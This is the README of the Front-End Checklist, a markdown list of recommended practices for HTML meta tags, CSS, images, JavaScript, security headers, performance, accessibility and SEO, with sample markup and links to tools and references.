<img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square" alt="PRs Welcome">
</a>
<a href="https://github.com/thedaviddias/Front-End-Checklist/graphs/contributors">
<img src="https://img.shields.io/github/contributors/thedaviddias/Front-End-Checklist.svg?style=flat-square" alt="Contributors">
</a>
<a href="https://github.com/thedaviddias/Front-End-Checklist/">
<img src="https://img.shields.io/badge/Front‑End_Checklist-followed-brightgreen.svg?style=flat-square" alt="Front‑End_Checklist followed">
</a>
<a href="https://creativecommons.org/publicdomain/zero/1.0/">
<img src="https://img.shields.io/badge/license-CC0-green.svg?style=flat-square" alt="CC0">
</a>
</p>
<p align="center">
<a href="#how-to-use">How To Use</a> • <a href="#contributing">Contributing</a> • <a href="https://frontendchecklist.io">Website</a> • <a href="https://www.producthunt.com/posts/front-end-checklist">Product Hunt</a>
</p>
<p align="center">
<span>Other Checklists:</span>
<br>
<a href="https://github.com/thedaviddias/Front-End-Performance-Checklist#---------front-end-performance-checklist-">🎮 Front-End Performance Checklist</a> • <a href="https://github.com/thedaviddias/Front-End-Design-Checklist#front-end-design-checklist">💎 Front-End Design Checklist</a>
</p>
It is based on Front-End developers' years of experience, with the additions coming from some other open-source checklists.
---
## How to use?
All items in the **Front-End Checklist** are required for the majority of the projects, but some elements can be omitted or are not essential (in the case of an administration web app, you may not need RSS feed for example). We choose to use 3 levels of flexibility:
All items in the Front-End Checklist are necessary for the majority of projects, but some elements can be omitted or are not essential. For example, in an administration web app, you may not need an RSS feed. We have categorized the flexibility into three levels:
![Low][low_img] indicates that the item is recommended but can be omitted in certain situations.
![Medium][medium_img] indicates that the item is highly recommended but can potentially be omitted in very specific cases. However, omitting these elements can negatively impact performance or SEO.
![High][high_img] indicates that the item cannot be omitted under any circumstances. Removing these elements may result in page malfunctions or cause accessibility and SEO issues. Testing should prioritize these elements first.
Some resources possess an emoticon to help you understand which type of content / help you may find on the checklist:
* 📖: documentation or article
* 🛠: online tool / testing tool
* 📹: media or video content
> You can contribute to the ***Front-End Checklist App*** reading the [CONTRIBUTING.md file](https://github.com/thedaviddias/Front-End-Checklist/blob/master/CONTRIBUTING.md) which explains everything about the project.
---
## Head
> **Notes:** You can find [a list of everything](https://github.com/joshbuchea/HEAD) that could be found in the `<head>` of an HTML document.
### Meta tag
* [ ] **Doctype:** ![High][high_img] The Doctype is HTML5 and is at the top of all your HTML pages.
```html
<!doctype html> <!-- HTML5 -->
```
> * 📖 [Determining the character encoding - HTML5 W3C](https://www.w3.org/TR/html5/syntax.html#determining-the-character-encoding)
*The next 2 meta tags (Charset and Viewport) need to come first in the head.*
* [ ] **Charset:** ![High][high_img] The charset (UTF-8) is declared correctly.
```html
<!-- Set character encoding for the document -->
<meta charset="utf-8">
```
* [ ] **Viewport:** ![High][high_img] The viewport is declared correctly.
```html
<!-- Viewport for responsive web design -->
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
```
* [ ] **Title:** ![High][high_img] A title is used on all pages (SEO: Google calculates the pixel width of the characters used in the title, and it cuts off between 472 and 482 pixels. The average character limit would be around 55-characters).
```html
<!-- Document Title -->
<title>Page Title less than 55 characters</title>
```
> * 📖 [Title - HTML - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/title)
> * 🛠 [SERP Snippet Generator](https://www.sistrix.com/serp-snippet-generator/)
* [ ] **Description:** ![High][high_img] A meta description is provided, it is unique and doesn't possess more than 150 characters.
```html
<!-- Meta Description -->
<meta name="description" content="Description of the page less than 150 characters">
```
> * 📖 [Meta Description - HTML - MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Adding_an_author_and_description)
* [ ] **Favicons:** ![Medium][medium_img] Each favicon has been created and displays correctly. If you have only a `favicon.ico`, put it at the root of your site. Normally you won't need to use any markup. However, it's still good practice to link to it using the example below. Today, **PNG format is recommended** over `.ico` format (dimensions: 32x32px).
```html
<!-- Standard favicon -->
<link rel="icon" type="image/x-icon" href="https://example.com/favicon.ico">
<!-- Recommended favicon format -->
<link rel="icon" type="image/png" href="https://example.com/favicon.png">
```
> * 🛠 [Favicon Generator](https://www.favicon-generator.org/)
> * 🛠 [RealFaviconGenerator](https://realfavicongenerator.net/)
> * 📖 [Favicon Cheat Sheet](https://github.com/audreyr/favicon-cheat-sheet)
> * 📖 [Favicons, Touch Icons, Tile Icons, etc. Which Do You Need? - CSS Tricks](https://css-tricks.com/favicon-quiz/)
> * 📖 [PNG favicons - caniuse](https://caniuse.com/#feat=link-icon-png)
* [ ] **Apple Web App Meta:** ![Low][low_img] Apple meta-tags are present.
```html
<!-- Apple Touch Icon (at least 200x200px) -->
<link rel="apple-touch-icon" href="/custom-icon.png">
<!-- To run the web application in full-screen -->
<meta name="apple-mobile-web-app-capable" content="yes">
<!-- Status Bar Style (see Supported Meta Tags below for available values) -->
<!-- Has no effect unless you have the previous meta tag -->
<meta name="apple-mobile-web-app-status-bar-style" content="black">
```
> * 📖 [Configuring Web Applications](https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html)
> * 📖 [Supported Meta Tags](https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/MetaTags.html)
* [ ] **Windows Tiles:** ![Low][low_img] Windows tiles are present and linked.
```html
<!-- Microsoft Tiles -->
<meta name="msapplication-config" content="browserconfig.xml" />
```
Minimum required xml markup for the `browserconfig.xml` file is as follows:
```xml
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
<msapplication>
<tile>
<square70x70logo src="small.png"/>
<square150x150logo src="medium.png"/>
<wide310x150logo src="wide.png"/>
<square310x310logo src="large.png"/>
</tile>
</msapplication>
</browserconfig>
```
> * 📖 [Browser configuration schema reference](https://msdn.microsoft.com/en-us/library/dn320426(v=vs.85).aspx)
* [ ] **Canonical:** ![Medium][medium_img] Use `rel="canonical"` to avoid duplicate content.
```html
<!-- Helps prevent duplicate content issues -->
<link rel="canonical" href="http://example.com/2017/09/a-new-article-to-read.html">
```
> * 📖 [Use canonical URLs - Search Console Help - Google Support](https://support.google.com/webmasters/answer/139066?hl=en)
> * 📖 [5 common mistakes with rel=canonical - Google Webmaster Blog](https://webmasters.googleblog.com/2013/04/5-common-mistakes-with-relcanonical.html)
### HTML tags
* [ ] **Language attribute:** ![High][high_img] The `lang` attribute of your website is specified and related to the language of the current page.
```html
<html lang="en">
```
* [ ] **Direction attribute:** ![Medium][medium_img] The direction of lecture is specified on the html tag (It can be used on another HTML tag).
```html
<html dir="rtl">
```
> * 📖 [dir - HTML - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/dir)
* [ ] **Alternate language:** ![Low][low_img] The language tag of your website is specified and related to the language of the current page.
```html
<link rel="alternate" href="https://es.example.com/" hreflang="es">
```
* [ ] **x-default:** ![Low][low_img] The language tag of your website for international landing pages.
```html
<link rel="alternate" href="https://example.com/" hreflang="x-default" />
```
> * 📖 [x-default - Google](https://webmasters.googleblog.com/2013/04/x-default-hreflang-for-international-pages.html)
* [ ] **Conditional comments:** ![Low][low_img] Conditional comments are present for IE if needed.
> * 📖 [About conditional comments (Internet Explorer) - MSDN - Microsoft](https://msdn.microsoft.com/en-us/library/ms537512(v=vs.85).aspx)
* [ ] **RSS feed:** ![Low][low_img] If your project is a blog or has articles, an RSS link was provided.
* [ ] **CSS Critical:** ![Medium][medium_img] The CSS critical (or "above the fold") collects all the CSS used to render the visible portion of the page. It is embedded before your principal CSS call and between `<style></style>` in a single line (minified).
> * 🛠 [Critical by Addy Osmani on GitHub](https://github.com/addyosmani/critical) automates this.
* [ ] **CSS order:** ![High][high_img] All CSS files are loaded before any JavaScript files in the `<head>`. (Except the case where sometimes JS files are loaded asynchronously on top of your page).
### Social meta
Visualize and generate automatically our social meta tags with [Meta Tags](https://metatags.io/)
***Facebook OG*** and ***Twitter Cards*** are, for any website, highly recommended. The other social media tags can be considered if you target a particular presence on those and want to ensure the display.
* [ ] **Facebook Open Graph:** ![Low][low_img] All Facebook Open Graph (OG) are tested and no one is missing or with false information. Images need to be at least 600 x 315 pixels, although 1200 x 630 pixels is recommended.
> **Notes:** Using `og:image:width` and `og:image:height` will specify the image dimensions to the crawler so that it can render the image immediately without having to asynchronously download and process it.
```html
<meta property="og:type" content="website">
<meta property="og:url" content="https://example.com/page.html">
<meta property="og:title" content="Content Title">
<meta property="og:image" content="https://example.com/image.jpg">
<meta property="og:description" content="Description Here">
<meta property="og:site_name" content="Site Name">
<meta property="og:locale" content="en_US">
<!-- Next tags are optional but recommended -->
<meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630">
```
> * 📖 [A Guide to Sharing for Webmasters](https://developers.facebook.com/docs/sharing/webmasters/)
> * 📖 [Best Practices - Sharing](https://developers.facebook.com/docs/sharing/best-practices/)
> * 🛠 Test your page with the [Facebook OG testing](https://developers.facebook.com/tools/debug/)
* [ ] **Twitter Card:** ![Low][low_img]
```html
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@site_account">
<meta name="twitter:creator" content="@individual_account">
<meta name="twitter:url" content="https://example.com/page.html">
<meta name="twitter:title" content="Content Title">
<meta name="twitter:description" content="Content description less than 200 characters">
<meta name="twitter:image" content="https://example.com/image.jpg">
```
> * 📖 [Getting started with cards — Twitter Developers](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/guides/getting-started)
> * 🛠 Test your page with the [Twitter card validator](https://cards-dev.twitter.com/validator)
**[⬆ back to top](#table-of-contents)**
---
## HTML
### Best practices
* [ ] **HTML5 Semantic Elements:** ![High][high_img] HTML5 Semantic Elements are used appropriately (header, section, footer, main...).
> * 📖 [HTML Reference](http://htmlreference.io/)
* [ ] **Error pages:** ![High][high_img] Error 404 page and 5xx exist. Remember that the 5xx error pages need to have their CSS integrated (no external call on the current server).
* [ ] **Noopener:** ![Medium][medium_img] In case you are using external links with `target="_blank"`, your link should have a `rel="noopener"` attribute to prevent tab nabbing. If you need to support older versions of Firefox, use `rel="noopener noreferrer"`.
> * 📖 [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/)
* [ ] **Clean up comments:** ![Low][low_img] Unnecessary code needs to be removed before sending the page to production.
### HTML testing
* [ ] **W3C compliant:** ![High][high_img] All pages need to be tested with the W3C validator to identify possible issues in the HTML code.
> * 🛠 [W3C validator](https://validator.w3.org/)
* [ ] **HTML Lint:** ![High][high_img] I use tools to help me analyze any issues I could have on my HTML code.
> * 🛠 [Dirty markup](https://www.10bestdesign.com/dirtymarkup/)
> * 🛠 [webhint](https://webhint.io/)
* [ ] **Link checker:** ![High][high_img] There are no broken links in my page, verify that you don't have any 404 error.
> * 🛠 [W3C Link Checker](https://validator.w3.org/checklink)
* [ ] **Adblockers test:** ![Medium][medium_img] Your website shows your content correctly with adblockers enabled (You can provide a message encouraging people to disable their adblocker).
> * 📖 [Use AdBlocking in your Dev Environment](https://andreicioara.com/use-adblocking-in-your-dev-environment-48db500d9b86)
**[⬆ back to top](#table-of-contents)**
---
## Webfonts
> **Notes:** Using web fonts may cause Flash Of Unstyled Text/Flash Of Invisible Text - consider having fallback fonts and/or utilizing web font loaders to control behavior.
> * 📖 [Google Technical considerations about webfonts](https://developers.google.com/fonts/docs/technical_considerations)
* [ ] **Webfont format:** ![High][high_img] WOFF, WOFF2 and TTF are supported by all modern browsers.
> * 📖 [WOFF - Web Open Font Format - Caniuse](https://caniuse.com/#feat=woff).
> * 📖 [WOFF 2.0 - Web Open Font Format - Caniuse](https://caniuse.com/#feat=woff2).
> * 📖 [TTF/OTF - TrueType and OpenType font support](https://caniuse.com/#feat=ttf)
> * 📖 [Using @font-face - CSS-Tricks](https://css-tricks.com/snippets/css/using-font-face/)
* [ ] **Webfont size:** ![High][high_img] Webfont sizes don't exceed 2 MB (all variants included).
* [ ] **Webfont loader:** ![Low][low_img] Control loading behavior with a webfont loader
> * 🛠 [Typekit Web Font Loader](https://github.com/typekit/webfontloader)
**[⬆ back to top](#table-of-contents)**
---
## CSS
> **Notes:** Take a look at [CSS guidelines](https://cssguidelin.es/) and [Sass Guidelines](https://sass-guidelin.es/) followed by most Front-End developers. If you have a doubt about CSS properties, you can visit [CSS Reference](http://cssreference.io/). There is also a short [Code Guide](http://codeguide.co/) for consistency.
* [ ] **Responsive Web Design:** ![High][high_img] The website is using responsive web design.
* [ ] **CSS Print:** ![Medium][medium_img] A print stylesheet is provided and is correct on each page.
* [ ] **Preprocessors:** ![Low][low_img] Your project is using a CSS preprocessor (e.g [Sass](http://sass-lang.com/), [Less](http://lesscss.org/), [Stylus](http://stylus-lang.com/)).
* [ ] **Unique ID:** ![High][high_img] If IDs are used, they are unique to a page.
* [ ] **Reset CSS:** ![High][high_img] A CSS reset (reset, normalize or reboot) is used and up to date. *(If you are using a CSS Framework like Bootstrap or Foundation, a Normalize is already included into it.)*
> * 📖 [Reset.css](https://meyerweb.com/eric/tools/css/reset/)
> * 📖 [Normalize.css](https://necolas.github.io/normalize.css/)
> * 📖 [Reboot](https://getbootstrap.com/docs/4.0/content/reboot/)
* [ ] **JS prefix:** ![Low][low_img] All classes (or id- used in JavaScript files) begin with **js-** and are not styled into the CSS files.
```html
<div id="js-slider" class="my-slider">
<!-- Or -->
<div id="id-used-by-cms" class="js-slider my-slider">
```
* [ ] **embedded or inline CSS:** ![High][high_img] Avoid at all cost embedding CSS in `<style>` tags or using inline CSS: only use for valid reasons (e.g. background-image for slider, critical CSS).
* [ ] **Vendor prefixes:** ![High][high_img] CSS vendor prefixes are used and are generated accordingly with your browser support compatibility.
> * 🛠 [Autoprefixer CSS online](https://autoprefixer.github.io/)
### Performance
* [ ] **Concatenation:** ![High][high_img] CSS files are concatenated in a single file *(Not for HTTP/2)*.
* [ ] **Minification:** ![High][high_img] All CSS files are minified.
* [ ] **Non-blocking:** ![Medium][medium_img] CSS files need to be non-blocking to prevent the DOM from taking time to load.
> * 📖 [loadCSS by filament group](https://github.com/filamentgroup/loadCSS)
> * 📖 [Example of preload CSS using loadCSS](https://gist.github.com/thedaviddias/c24763b82b9991e53928e66a0bafc9bf)
* [ ] **Unused CSS:** ![Low][low_img] Remove unused CSS.
> * 🛠 [UnCSS Online](https://uncss-online.com/)
> * 🛠 [PurifyCSS](https://github.com/purifycss/purifycss)
> * 🛠 [PurgeCSS](https://github.com/FullHuman/purgecss)
> * 🛠 [Chrome DevTools Coverage](https://developer.chrome.com/docs/devtools/coverage/)
### CSS testing
* [ ] **Stylelint:** ![High][high_img] All CSS or SCSS files are without any errors.
> * 🛠 [stylelint, a CSS linter](https://stylelint.io/)
> * 📖 [Sass guidelines](https://sass-guidelin.es/)
* [ ] **Responsive web design:** ![High][high_img] All pages were tested at the following breakpoints: 320px, 768px, 1024px (can be more / different according to your analytics).
**Responsive Checker -**
> * 🛠 [Am I Responsive?](http://ami.responsivedesign.is/)
> * 🛠 [Mobile Friendly Test](https://search.google.com/test/mobile-friendly)
> * 🛠 [Responsive Website Design Tester](https://responsivedesignchecker.com/)
> * 🛠 [Responsinator](https://www.responsinator.com/)
> * 🛠 [XRespond](https://xrespond.com/)
* [ ] **CSS Validator:** ![Medium][medium_img] The CSS was tested and pertinent errors were corrected.
> * 🛠 [CSS Validator](https://jigsaw.w3.org/css-validator/)
* [ ] **Desktop Browsers:** ![High][high_img] All pages were tested on all current desktop browsers (Safari, Firefox, Chrome, Internet Explorer, EDGE...).
* [ ] **Mobile Browsers:** ![High][high_img] All pages were tested on all current mobile browsers (Native browser, Chrome, Safari...).
* [ ] **OS:** ![High][high_img] All pages were tested on all current OS (Windows, Android, iOS, Mac...).
* [ ] **Design fidelity:** ![Low][low_img] Depending on the project and the quality of the creatives, you may be asked to be close to the design. You can use some tools to compare creatives with your code implementation and ensure consistency.
> [Pixel Perfect - Chrome Extension](https://chrome.google.com/webstore/detail/perfectpixel-by-welldonec/dkaagdgjmgdmbnecmcefdhjekcoceebi?hl=en)
* [ ] **Reading direction:** ![High][high_img] All pages need to be tested for LTR and RTL languages if they need to be supported.
> * 📖 [Building RTL-Aware Web Apps & Websites: Part 1 - Mozilla Hacks](https://hacks.mozilla.org/2015/09/building-rtl-aware-web-apps-and-websites-part-1/)
> * 📖 [Building RTL-Aware Web Apps & Websites: Part 2 - Mozilla Hacks](https://hacks.mozilla.org/2015/10/building-rtl-aware-web-apps-websites-part-2/)
**[⬆ back to top](#table-of-contents)**
---
## Images
> **Notes:** For a complete understanding of image optimization, check the free ebook **[Essential Image Optimization](https://images.guide/)** from Addy Osmani.
### Best practices
* [ ] **Optimization:** ![High][high_img] All images are optimized to be rendered in the browser. WebP format could be used for critical pages (like Homepage).
> * 🛠 [Imagemin](https://github.com/imagemin/imagemin)
> * 🛠 Use [ImageOptim](https://imageoptim.com/) to optimise your images for free.
> * 🛠 Use [KeyCDN Image Processing](https://www.keycdn.com/support/image-processing) for image optimization in real time.
> * 🛠 Use [Kraken.io](https://kraken.io/web-interface) awesome alternative for both png and jpg optimization. Up to 1mb per files on free plan.
> * 🛠 [TinyPNG](https://tinypng.com/) optimises png, apng (animated png) and jpg images with very small loss in quality. Free and paid version available.
> * 🛠 [ZorroSVG](http://quasimondo.com/ZorroSVG/) jpg-like compression for transparent images using svg masking.
> * 🛠 [SVGO](https://github.com/svg/svgo) a Nodejs-based tool for optimizing SVG vector graphics files.
> * 🛠 [SVGOMG](https://jakearchibald.github.io/svgomg/) a web-based GUI version of SVGO for optimising your svgs online.
* [ ] **Picture/Srcset:** ![Medium][medium_img] You use picture/srcset to provide the most appropriate image for the current viewport of the user.
> * 📖 [How to Build Responsive Images with srcset](https://www.sitepoint.com/how-to-build-responsive-images-with-srcset/)
* [ ] **Retina:** ![Low][low_img] You provide layout images 2x or 3x, support retina display.
* [ ] **Sprite:** ![Medium][medium_img] Small images are in a sprite file (in the case of icons, they can be in an SVG sprite image).
* [ ] **Width and Height:** ![High][high_img] Set `width` and `height` attributes on `<img>` if the final rendered image size is known (can be omitted for CSS sizing).
* [ ] **Alternative text:** ![High][high_img] All `<img>` have an alternative text which describes the image visually.
> * 📖 [Alt-texts: The Ultimate Guide](https://axesslab.com/alt-texts/)
* [ ] **Lazy loading:** ![Medium][medium_img] Images are lazyloaded (A noscript fallback is always provided).
> * 🛠 [Native lazy loading polyfill](https://github.com/mfranzke/loading-attribute-polyfill/)
**[⬆ back to top](#table-of-contents)**
---
## JavaScript
### Best practices
* [ ] **JavaScript Inline:** ![High][high_img] You don't have any JavaScript code inline (mixed with your HTML code).
* [ ] **Concatenation:** ![High][high_img] JavaScript files are concatenated.
* [ ] **Minification:** ![High][high_img] JavaScript files are minified (you can add the `.min` suffix).
> * 📖 [Minify Resources (HTML, CSS, and JavaScript)](https://developers.google.com/speed/docs/insights/MinifyResources)
* [ ] **JavaScript security:** ![High][high_img]
> * 📖 [Guidelines for Developing Secure Applications Utilizing JavaScript](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet#Guidelines_for_Developing_Secure_Applications_Utilizing_JavaScript)
* [ ] **`noscript` tag:** ![Medium][medium_img] Use `<noscript>` tag in the HTML body if a script type on the page is unsupported or if scripting is currently turned off in the browser. This will be helpful in client-side rendering heavy apps such as React.js, see [examples](https://webdesign.tutsplus.com/tutorials/quick-tip-dont-forget-the-noscript-element--cms-25498).
```html
<noscript>
You need to enable JavaScript to run this app.
</noscript>
```
* [ ] **Non-blocking:** ![Medium][medium_img] JavaScript files are loaded asynchronously using `async` or deferred using `defer` attribute.
> * 📖 [Remove Render-Blocking JavaScript](https://developers.google.com/speed/docs/insights/BlockingJS)
* [ ] **Optimized and updated JS libraries:** ![Medium][medium_img] All JavaScript libraries used in your project are necessary (prefer Vanilla Javascript for simple functionalities), updated to their latest version and don't overwhelm your JavaScript with unnecessary methods.
> * 📖 [You may not need jQuery](http://youmightnotneedjquery.com/)
> * 📖 [Vanilla JavaScript for building powerful web applications](https://plainjs.com/)
* [ ] **Modernizr:** ![Low][low_img] If you need to target some specific features you can use a custom Modernizr to add classes in your `<html>` tag.
> * 🛠 [Customize your Modernizr](https://modernizr.com/download?setclasses)
### JavaScript testing
* [ ] **ESLint:** ![High][high_img] No errors are flagged by ESLint (based on your configuration or standards rules).
> * 📖 [ESLint - The pluggable linting utility for JavaScript and JSX](https://eslint.org/)
**[⬆ back to top](#table-of-contents)**
---
## Security
### Scan and check your web site
> * [securityheaders.io](https://securityheaders.io/)
> * [Observatory by Mozilla](https://observatory.mozilla.org/)
### Best practices
* [ ] **HTTPS:** ![High][high_img] HTTPS is used on every page and for all external content (plugins, images...).
> * 🛠 [Let's Encrypt - Free SSL/TLS Certificates](https://letsencrypt.org/)
> * 🛠 [Free SSL Server Test](https://www.ssllabs.com/ssltest/index.html)
> * 📖 [Strict Transport Security](http://caniuse.com/#feat=stricttransportsecurity)
* [ ] **HTTP Strict Transport Security (HSTS):** ![Medium][medium_img] The HTTP header is set to 'Strict-Transport-Security'.
> * 🛠 [Check HSTS preload status and eligibility](https://hstspreload.org/)
> * 📖 [HTTP Strict Transport Security Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)
> * 📖 [Transport Layer Protection Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)
* [ ] **Cross Site Request Forgery (CSRF):** ![High][high_img] You ensure that requests made to your server-side are legitimate and originate from your website / app to prevent CSRF attacks.
> * 📖 [Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
* [ ] **Cross Site Scripting (XSS):** ![High][high_img] Your page or website is free from XSS possible issues.
> * 📖 [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
> * 📖 [DOM based XSS Prevention Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
* [ ] **Content Type Options:** ![Medium][medium_img] Prevents Google Chrome and Internet Explorer from trying to mime-sniff the content-type of a response away from the one being declared by the server.
> * 📖 [X-Content-Type-Options - Scott Helme](https://scotthelme.co.uk/hardening-your-http-response-headers/#x-content-type-options)
* [ ] **X-Frame-Options (XFO):** ![Medium][medium_img] Protects your visitors against clickjacking attacks.
> * 📖 [X-Frame-Options - Scott Helme](https://scotthelme.co.uk/hardening-your-http-response-headers/#x-frame-options)
> * 📖 [RFC7034 - HTTP Header Field X-Frame-Options](https://tools.ietf.org/html/rfc7034)
* [ ] **Content Security Policy:** ![Medium][medium_img] Defines how content is loaded on your site and from where it is permitted to be loaded. Can also be used to protect against clickjacking attacks.
> * 📖 [Content Security Policy - An Introduction - Scott Helme](https://scotthelme.co.uk/content-security-policy-an-introduction/)
> * 📖 [CSP Cheat Sheet - Scott Helme](https://scotthelme.co.uk/csp-cheat-sheet/)
> * 📖 [CSP Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)
> * 📖 [Content Security Policy Reference](https://content-security-policy.com/)
**[⬆ back to top](#table-of-contents)**
---
## Performance
### Best practices
* [ ] **Goals to achieve:** ![Medium][medium_img] Your pages should reach these goals:
* First Meaningful Paint under 1 second
* Time To Interactive under 5 seconds for the "average" configuration (a $200 Android on a slow 3G network with 400ms RTT and 400kbps transfer speed) and under 2 seconds for repeat visits
* Critical file size under 170Kb gzipped
> * 🛠 [Website Page Analysis](https://tools.pingdom.com)
> * 🛠 [WebPageTest](https://www.webpagetest.org/)
> * 📖 [Size Limit: Make the Web lighter](https://evilmartians.com/chronicles/size-limit-make-the-web-lighter)
* [ ] **Minified HTML:** ![Medium][medium_img] Your HTML is minified.
* [ ] **Lazy loading:** ![Medium][medium_img] Images, scripts and CSS need to be lazy loaded to improve the response time of the current page (See details in their respective sections).
* [ ] **Cookie size:** ![Medium][medium_img] If you are using cookies be sure each cookie doesn't exceed 4096 bytes and your domain name doesn't have more than 20 cookies.
> * 📖 [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265)
> * 📖 [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)
> * 🛠 [Browser Cookie Limits](http://browsercookielimits.squawky.net/)
* [ ] **Third party components:** ![Medium][medium_img] Third party iframes or components relying on external JS (like sharing buttons) are replaced by static components when possible, thus limiting calls to external APIs and keeping your user's activity private.
> * 🛠 [Simple sharing buttons generator](https://simplesharingbuttons.com/)
### Preparing upcoming requests
> * 📖 [Explanation of the following techniques](https://css-tricks.com/prefetching-preloading-prebrowsing/)
* [ ] **DNS resolution:** ![Low][low_img] DNS of third-party services that may be needed are resolved in advance during idle time using `dns-prefetch`.
```html
<link rel="dns-prefetch" href="https://example.com">
```
* [ ] **Preconnection:** ![Low][low_img] DNS lookup, TCP handshake and TLS negotiation with services that will be needed soon is done in advance during idle time using `preconnect`.
```html
<link rel="preconnect" href="https://example.com">
```
* [ ] **Prefetching:** ![Low][low_img] Resources that will be needed soon (e.g. lazy loaded images) are requested in advance during idle time using `prefetch`.
```html
<link rel="prefetch" href="image.png">
```
* [ ] **Preloading:** ![Low][low_img] Resources needed in the current page (e.g. scripts placed at the end of `<body>`) in advance using `preload`.
```html
<link rel="preload" href="app.js">
```
> * 📖 [Difference between prefetch and preload](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)
### Performance testing
* [ ] **Google PageSpeed:** ![High][high_img] All your pages were tested (not only the homepage) and have a score of at least 90/100.
> * 🛠 [Google PageSpeed](https://developers.google.com/speed/pagespeed/insights/)
> * 🛠 [Test your mobile speed with Google](https://testmysite.withgoogle.com)
> * 🛠 [WebPagetest - Website Performance and Optimization Test](https://www.webpagetest.org/)
> * 🛠 [GTmetrix - Website speed and performance optimization](https://gtmetrix.com/)
> * 🛠 [Speedrank - Improve the performance of your website](https://speedrank.app/)
**[⬆ back to top](#table-of-contents)**
---
## Accessibility
> **Notes:** You can watch the playlist [A11ycasts with Rob Dodson](https://www.youtube.com/playlist?list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g) 📹
### Best practices
* [ ] **Progressive enhancement:** ![Medium][medium_img] Major functionality like main navigation and search should work without JavaScript enabled.
> * 📖 [Enable / Disable JavaScript in Chrome Developer Tools](https://www.youtube.com/watch?v=kBmvq2cE0D8)
* [ ] **Color contrast:** ![Medium][medium_img] Color contrast should at least pass WCAG AA (AAA for mobile).
> * 🛠 [Contrast ratio](https://leaverou.github.io/contrast-ratio/)
#### Headings
* [ ] **H1:** ![High][high_img] All pages have an H1 which is not the title of the website.
* [ ] **Headings:** ![High][high_img] Headings should be used properly and in the right order (H1 to H6).
> * 📹 [Why headings and landmarks are so important -- A11ycasts #18](https://www.youtube.com/watch?v=vAAzdi1xuUY&index=9&list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g)
### Semantics
* [ ] **Specific HTML5 input types are used:** ![Medium][medium_img] This is especially important for mobile devices that show customized keypads and widgets for different types.
> * 📖 [Mobile Input Types](http://mobileinputtypes.com/)
### Form
* [ ] **Label:** ![High][high_img] A label is associated with each input form element. In case a label can't be displayed, use `aria-label` instead.
> * 📖 [Using the aria-label attribute - MDN](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-label)
### Accessibility testing
* [ ] **Accessibility standards testing:** ![High][high_img] Use the WAVE tool to test if your page respects the accessibility standards.
> * 🛠 [Wave testing](http://wave.webaim.org/)
* [ ] **Keyboard navigation:** ![High][high_img] Test your website using only your keyboard in a previsible order. All interactive elements are reachable and usable.
* [ ] **Screen-reader:** ![Medium][medium_img] All pages were tested in a screen-reader (VoiceOver, ChromeVox, NVDA or Lynx).
* [ ] **Focus style:** ![High][high_img] If the focus is disabled, it is replaced by visible state in CSS.
> * 📹 [Managing Focus - A11ycasts #22](https://www.youtube.com/watch?v=srLRSQg6Jgg&index=5&list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g)
**[⬆ back to top](#table-of-contents)**
---
## SEO
* [ ] **Google Analytics:** ![Low][low_img] Google Analytics is installed and correctly configured.
> * 🛠 [Google Analytics](https://analytics.google.com/analytics/web/)
> * 🛠 [GA Checker (and others)](http://www.gachecker.com/)
* [ ] **Search Console:** ![Low][low_img] Search Console is installed and correctly configured. It is a free service offered by Google that helps you monitor, maintain, and troubleshoot your site's presence in Google Search results.
> * 🛠 [Search Console](https://search.google.com/search-console/about)
* [ ] **Headings logic:** ![Medium][medium_img] Heading text helps to understand the content in the current page.
> * 🛠 [Tota11y, tab Headings](http://khan.github.io/tota11y/#Try-it)
* [ ] **sitemap.xml:** ![High][high_img] A sitemap.xml exists and was submitted to Google Search Console (previously Google Webmaster Tools).
> * 🛠 [Sitemap generator](https://websiteseochecker.com/html-sitemap-generator/)
* [ ] **robots.txt:** ![High][high_img] The robots.txt is not blocking webpages.
> * 📖 [The robots.txt file](https://varvy.com/robottxt.html)
> * 🛠 Test your robots.txt with [Google Robots Testing Tool](https://www.google.com/webmasters/tools/robots-testing-tool)
* [ ] **Structured Data:** ![High][high_img] Pages using structured data are tested and are without errors. Structured data helps crawlers understand the content in the current page.
> * 📖 [Introduction to Structured Data - Search - Google Developers](https://developers.google.com/search/docs/guides/intro-structured-data)
> * 📖 [JSON-LD](https://json-ld.org/)
> * 📖 [Microdata](https://www.w3.org/TR/microdata/)
> * 🛠 Test your page with the [Rich Results Test](https://search.google.com/test/rich-results)
